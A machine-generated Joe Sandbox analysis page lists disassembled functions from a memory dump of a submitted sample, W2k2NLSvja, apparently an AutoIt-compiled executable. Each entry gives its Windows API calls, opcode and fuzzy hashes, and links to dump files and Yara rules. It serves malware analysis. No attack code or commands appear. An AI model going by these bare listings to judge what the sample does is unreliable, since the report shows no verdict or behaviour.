Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: c752f7380336ed9b32d04b2a687cdde129291040abb41d19f204dd9862527bf9
Instruction ID: 8a167d1d725e6f2e008dd8357eacabcfdd12f9414d8d54490f0c3b6ef5c7fc31
Opcode Fuzzy Hash: c752f7380336ed9b32d04b2a687cdde129291040abb41d19f204dd9862527bf9
Instruction Fuzzy Hash: 85213A71904784AFEB339B24C845BEBBBEC9F01314F04009EE28D96145D7752A84AF42

Function 00FF667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00FE7B20,?,?,00000000), ref: 00F85B8C
Part of subcall function 00F85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00FE7B20,?,?,00000000,?,?), ref: 00F85BB0

gethostbyname.WSOCK32(?,?,?), ref: 00FF66AC
WSAGetLastError.WSOCK32(00000000), ref: 00FF66B7
_memmove.LIBCMT ref: 00FF66E4
inet_ntoa.WSOCK32(?), ref: 00FF66EF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 054e17f0e7df8d67a86395f6ba8ac7f8c9bc25463548193543f5a1aafdfaf263
Instruction ID: ee6c3c40cbf2d3ee5f017011e8b795059f354b28abd62498f877a780e5e52851
Opcode Fuzzy Hash: 054e17f0e7df8d67a86395f6ba8ac7f8c9bc25463548193543f5a1aafdfaf263
Instruction Fuzzy Hash: 79116D36900509AFCB05FBA4DD86DEEB7B8BF44710B184065F502A7261EF39AF05EB61

Function 00FD9023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00FD9043
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FD9055
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FD906B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FD9086

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 92d74f3c659697a9c1300edee1f803a2f31530801cbf4412b3ad90898918b841
Instruction ID: 7fa2f0bef1c04b61b32dc07e6950e16f0cc3c21e068ff89df3857334287ac561
Opcode Fuzzy Hash: 92d74f3c659697a9c1300edee1f803a2f31530801cbf4412b3ad90898918b841
Instruction Fuzzy Hash: 96115E7A900218FFDB11DFA5CC84F9DBB75FB48310F204096E904B7250D6726E11EB90

Function 00F81290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

DefDlgProcW.USER32(?,00000020,?), ref: 00F812D8
GetClientRect.USER32(?,?), ref: 00FBB84B
GetCursorPos.USER32(?), ref: 00FBB855
ScreenToClient.USER32(?,?), ref: 00FBB860

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 1b43a1a9c50f4094c3e8ab09cbea6b38c104967c6e630d6ce786ca9c91a30f7f
Instruction ID: a618137301a79122f794d8a45538f8cd91ba91fb9e9505a046b3865261ae2232
Opcode Fuzzy Hash: 1b43a1a9c50f4094c3e8ab09cbea6b38c104967c6e630d6ce786ca9c91a30f7f
Instruction Fuzzy Hash: BE114C35A0011AEFCB21EFA4D8859FE77BCFB05311F000556FA41E7141D735BA52ABA5

Function 00FE1652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FE01FD,?,00FE1250,?,00008000), ref: 00FE166F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00FE01FD,?,00FE1250,?,00008000), ref: 00FE1694
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FE01FD,?,00FE1250,?,00008000), ref: 00FE169E
Sleep.KERNEL32(?,?,?,?,?,?,?,00FE01FD,?,00FE1250,?,00008000), ref: 00FE16D1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: e421d4e5a7a2a75060a97e534b9135bf3accec9f3719c090191055e1c3a3b9f7
Instruction ID: 9ffabda0e95d744f63459923873fd8902b1591b5df98f20b57970ffcc1298bd9
Opcode Fuzzy Hash: e421d4e5a7a2a75060a97e534b9135bf3accec9f3719c090191055e1c3a3b9f7
Instruction Fuzzy Hash: 59117C31C0051DD7CF10AFA7D848AEEBB78FF0A711F044059E980B6240CB355560ABD6

Function 00FB7207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00FB722B

Part of subcall function 00FB7912: __fltout2.LIBCMT ref: 00FB793B

__cftog_l.LIBCMT ref: 00FB7251
__cftoe_l.LIBCMT ref: 00FB7283

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 5e6e4a9f460d7ffc39560bf0a0bb50c1bd74bcdd5924254e0332c0e992becc76
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: E501403644824ABBCF126E85CC018EE3F62BF99351F598555FA1868031D237C9B1BF81

Function 0100B57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0100B59E
ScreenToClient.USER32(?,?), ref: 0100B5B6
ScreenToClient.USER32(?,?), ref: 0100B5DA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0100B5F5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: d3391d64f0d82ec806f3f31c171d08a3c79579ed12561f84f31342885b060c83
Instruction ID: 1e747bfc92c9febfb178c8c26fc3e839158c042f2237ec873bb727a979eee62e
Opcode Fuzzy Hash: d3391d64f0d82ec806f3f31c171d08a3c79579ed12561f84f31342885b060c83
Instruction Fuzzy Hash: 471166B9D0420AEFDB51DFA9C444AEEFBF9FB08310F104166E954E3210D735AA519F50

Function 0100B8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0100B8FE
_memset.LIBCMT ref: 0100B90D
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,01047F20,01047F64), ref: 0100B93C
CloseHandle.KERNEL32 ref: 0100B94E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 0cf67882a572c7d8e0978ee5d0818fbe2a62d46bc2110141285feb2e1e9fa74e
Instruction ID: 6ee3673c040609f4d71f20e37a5776971c163be76bf7c76487320f2d916c4469
Opcode Fuzzy Hash: 0cf67882a572c7d8e0978ee5d0818fbe2a62d46bc2110141285feb2e1e9fa74e
Instruction Fuzzy Hash: 5DF082F65403007BF2312B65AC85FBB7B9CEB09758F004460BF88D5286E77B490097A8

Function 00FE6E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00FE6E88

Part of subcall function 00FE794E: _memset.LIBCMT ref: 00FE7983

_memmove.LIBCMT ref: 00FE6EAB
_memset.LIBCMT ref: 00FE6EB8
LeaveCriticalSection.KERNEL32(?), ref: 00FE6EC8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 459415ff6dcf4a5484a9745be8aa7d7e17bc63f697611097308e3097797f3cd1
Instruction ID: ba620b4560f0994749f175a23188896e64898c912432b3044001517b94d3cff2
Opcode Fuzzy Hash: 459415ff6dcf4a5484a9745be8aa7d7e17bc63f697611097308e3097797f3cd1
Instruction Fuzzy Hash: 0BF05E7A200200ABCF116F55DC85A8ABB2AEF45360F04C051FE089E21BC73AE911EBB4

Function 0100C00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00F812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F8134D
Part of subcall function 00F812F3: SelectObject.GDI32(?,00000000), ref: 00F8135C
Part of subcall function 00F812F3: BeginPath.GDI32(?), ref: 00F81373
Part of subcall function 00F812F3: SelectObject.GDI32(?,00000000), ref: 00F8139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0100C030
LineTo.GDI32(00000000,?,?), ref: 0100C03D
EndPath.GDI32(00000000), ref: 0100C04D
StrokePath.GDI32(00000000), ref: 0100C05B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: b86d95a45dfc3ce6ad7331d86315fa64af6af625a483a84b3836a83d457e1b28
Instruction ID: b87dec685df4e7a28939e159f9a16c8d9678b3a36c60c04b4610315c0d55eac2
Opcode Fuzzy Hash: b86d95a45dfc3ce6ad7331d86315fa64af6af625a483a84b3836a83d457e1b28
Instruction Fuzzy Hash: F4F09A3100021ABBEB33AF54AC09FCA3F98AF06310F048240FA91210C187AA0161EB95

Function 00FDA37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00FDA399
GetWindowThreadProcessId.USER32(?,00000000), ref: 00FDA3AC
GetCurrentThreadId.KERNEL32 ref: 00FDA3B3
AttachThreadInput.USER32(00000000), ref: 00FDA3BA

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: be260b6609f8f4070e06366f6a7f7a6e40bd9bd058b5bf65e62a7324f0bca102
Instruction ID: 7234b66b4236296e00ebccbed803656ee1d9422eacb39e8908906fa8b33a3e06
Opcode Fuzzy Hash: be260b6609f8f4070e06366f6a7f7a6e40bd9bd058b5bf65e62a7324f0bca102
Instruction Fuzzy Hash: 87E03931545328BBDB315BA2DC0CEDB3F1DEF1A7A1F048015F548C4050CA76C540EBA0

Function 00F82218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00F82231
SetTextColor.GDI32(?,000000FF), ref: 00F8223B
SetBkMode.GDI32(?,00000001), ref: 00F82250
GetStockObject.GDI32(00000005), ref: 00F82258
GetWindowDC.USER32(?,00000000), ref: 00FBC0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 00FBC0E0
GetPixel.GDI32(00000000,?,00000000), ref: 00FBC0F9
GetPixel.GDI32(00000000,00000000,?), ref: 00FBC112
GetPixel.GDI32(00000000,?,?), ref: 00FBC132
ReleaseDC.USER32(?,00000000), ref: 00FBC13D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 41ed82c38fdc76ffdbe408543cb7c357bc213274e3296b8b0e1063e5648386ff
Instruction ID: ca7e4148254968f1cf7a0d133789f3dfcd644cf35a0a7716ccd5570195b87ca7
Opcode Fuzzy Hash: 41ed82c38fdc76ffdbe408543cb7c357bc213274e3296b8b0e1063e5648386ff
Instruction Fuzzy Hash: CFE06D32600245ABEB725F68F80D7D83B10EB06332F008366FBA9980E587764990EF51

Function 00FD8C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00FD8C63
OpenThreadToken.ADVAPI32(00000000,?,?,?,00FD882E), ref: 00FD8C6A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00FD882E), ref: 00FD8C77
OpenProcessToken.ADVAPI32(00000000,?,?,?,00FD882E), ref: 00FD8C7E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: f78426746d70450c0e0df9446f0fc34a6070ac52630edcfc4013295363014b07
Instruction ID: 08d766e174245bca2674ea6c681734799f00fbcf6ed754787dc9703c69ade14e
Opcode Fuzzy Hash: f78426746d70450c0e0df9446f0fc34a6070ac52630edcfc4013295363014b07
Instruction Fuzzy Hash: 7BE08636A42212DBD7309FB06D0CB563BBCEF507E2F088818B2C5C9044DA398442EB71

Function 00FC2187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FC2187
GetDC.USER32(00000000), ref: 00FC2191
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FC21B1
ReleaseDC.USER32(?), ref: 00FC21D2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: d1652682411a0f7967ffed26e53caa9af4e016b7e898edcff05f5dfc0cdf465d
Instruction ID: abc7425c7d773e1a343061ff3adacfc45fb771b5a328072f2917921361f1bc3d
Opcode Fuzzy Hash: d1652682411a0f7967ffed26e53caa9af4e016b7e898edcff05f5dfc0cdf465d
Instruction Fuzzy Hash: 38E0E575800606EFDB62AFB0C808BAD7BB1EB4C350F108409F99A97210CB7D9141BF40

Function 00FC219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00FC219B
GetDC.USER32(00000000), ref: 00FC21A5
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FC21B1
ReleaseDC.USER32(?), ref: 00FC21D2

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3e3aa11aaca5481c2ce51b3176c7ac5a529f9adc6ba859a76ec36427531a3556
Instruction ID: aecbb1659536800bf52c2029073025d3862f3a4dd4e43df65acca79e00ce3c7f
Opcode Fuzzy Hash: 3e3aa11aaca5481c2ce51b3176c7ac5a529f9adc6ba859a76ec36427531a3556
Instruction Fuzzy Hash: 8CE012B5800606AFCB62AFB0C8086AD7BF1EB4C310F108009F99AA7210CB7E9141AF40

Function 00FDB7B6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00FDB981

Strings

Container, xrefs: 00FDB8FE
AutoIt3GUI, xrefs: 00FDB8F9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 9ae7eeef4fa9eac40dcd763a19a4259332b46eefa7d257992708317f8d4f85b2
Instruction ID: 877f90f83babe9db73a0a1da4b9b8750a4695275fa21ff5acf834d571e415f52
Opcode Fuzzy Hash: 9ae7eeef4fa9eac40dcd763a19a4259332b46eefa7d257992708317f8d4f85b2
Instruction Fuzzy Hash: CF914971600201DFDB24DF64C884B6AB7E9FF48710F29856EE94ACB391DB70E841DB50

Function 00FEB217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9FEC6: _wcscpy.LIBCMT ref: 00F9FEE9

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

__wcsnicmp.LIBCMT ref: 00FEB298
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00FEB361

Strings

LPT, xrefs: 00FEB292

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: fd714de498fdbbac2604a1c28cb31576684bff4251bc3b3a7203dd1ccb4ca3ec
Instruction ID: bd33d800a3157e5603fcb097da823a54171ce5c2063a35f4ea4ba25fd42e6841
Opcode Fuzzy Hash: fd714de498fdbbac2604a1c28cb31576684bff4251bc3b3a7203dd1ccb4ca3ec
Instruction Fuzzy Hash: 1F61A276E00215EFCB14EF95C886EAEB7B4EF08310F15406AF546AB291DB74AE40EB50

Function 00F92AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00F92AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00F92AE1

Strings

@, xrefs: 00F92AD5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: ebd257ed64a84c0f0870686b00207c1d083ebcb9b2729c2a17da5918f0ab7bbb
Instruction ID: df7156ca162f46393de28f7eded1eb792f877d7b64d5539b67b71cb079bf157b
